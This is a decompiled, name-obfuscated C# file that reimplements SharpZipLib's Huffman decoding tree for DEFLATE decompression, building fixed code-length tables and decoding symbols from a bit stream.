using \u000E\u0002;
using \u0017\u0002;
using ICSharpCode.SharpZipLib;
using System;
using System.Runtime.InteropServices;
namespace \u0017\u0002
{
internal sealed class \u0016
{
private short[] \u0001;
public static \u0016 \u0002;
public static \u0016 \u0003;
static \u0016()
{
try
{
byte[] numArray1 = new byte[288];
int num1 = 0;
while (num1 < 144)
numArray1[num1++] = (byte) 8;
while (num1 < 256)
numArray1[num1++] = (byte) 9;
while (num1 < 280)
numArray1[num1++] = (byte) 7;
while (num1 < 288)
numArray1[num1++] = (byte) 8;
\u0016.\u0002 = new \u0016(numArray1);
byte[] numArray2 = new byte[32];
int num2 = 0;
while (num2 < 32)
numArray2[num2++] = (byte) 5;
\u0016.\u0003 = new \u0016(numArray2);
}
catch (Exception ex)
{
throw new SharpZipBaseException(\u0008.\u000E\u0003(3688));
}
}
public \u0016([In] byte[] obj0) => this.\u0080\u0003(obj0);
private void \u0080\u0003([In] byte[] obj0)
{
int[] numArray1 = new int[16];
int[] numArray2 = new int[16];
for (int index1 = 0; index1 < obj0.Length; ++index1)
{
int index2 = (int) obj0[index1];
if (index2 > 0)
++numArray1[index2];
}
int num1 = 0;
int length = 512;
for (int index = 1; index <= 15; ++index)
{
numArray2[index] = num1;
num1 += numArray1[index] << 16 - index;
if (index >= 10)
{
int num2 = numArray2[index] & 130944;
int num3 = num1 & 130944;
length += num3 - num2 >> 16 - index;
}
}
this.\u0001 = new short[length];
int num4 = 512;
for (int index3 = 15; index3 >= 10; --index3)
{
int num5 = num1 & 130944;
num1 -= numArray1[index3] << 16 - index3;
for (int index4 = num1 & 130944; index4 < num5; index4 += 128)
{
this.\u0001[(int) \u0018.\u0084\u0003(index4)] = (short) (-num4 << 4 | index3);
num4 += 1 << index3 - 9;
}
}
for (int index5 = 0; index5 < obj0.Length; ++index5)
{
int index6 = (int) obj0[index5];
if (index6 != 0)
{
int num6 = numArray2[index6];
int index7 = (int) \u0018.\u0084\u0003(num6);
if (index6 <= 9)
{
do
{
this.\u0001[index7] = (short) (index5 << 4 | index6);
index7 += 1 << index6;
}
while (index7 < 512);
}
else
{
int num7 = (int) this.\u0001[index7 & 511];
int num8 = 1 << (num7 & 15);
int num9 = -(num7 >> 4);
do
{
this.\u0001[num9 | index7 >> 9] = (short) (index5 << 4 | index6);
index7 += 1 << index6;
}
while (index7 < num8);
}
numArray2[index6] = num6 + (1 << 16 - index6);
}
}
}
public int \u0081\u0003([In] \u0014 obj0)
{
int index;
if ((index = obj0.\u0013\u0003(9)) >= 0)
{
int num1;
if ((num1 = (int) this.\u0001[index]) >= 0)
{
obj0.\u0014\u0003(num1 & 15);
return num1 >> 4;
}
int num2 = -(num1 >> 4);
int num3 = num1 & 15;
int num4;
if ((num4 = obj0.\u0013\u0003(num3)) >= 0)
{
int num5 = (int) this.\u0001[num2 | num4 >> 9];
obj0.\u0014\u0003(num5 & 15);
return num5 >> 4;
}
int num6 = obj0.\u0015\u0003();
int num7 = obj0.\u0013\u0003(num6);
int num8 = (int) this.\u0001[num2 | num7 >> 9];
if ((num8 & 15) > num6)
return -1;
obj0.\u0014\u0003(num8 & 15);
return num8 >> 4;
}
int num9 = obj0.\u0015\u0003();
int num10 = (int) this.\u0001[obj0.\u0013\u0003(num9)];
if (num10 < 0 || (num10 & 15) > num9)
return -1;
obj0.\u0014\u0003(num10 & 15);
return num10 >> 4;
}
}
}

Some files were not shown because too many files have changed in this diff Show More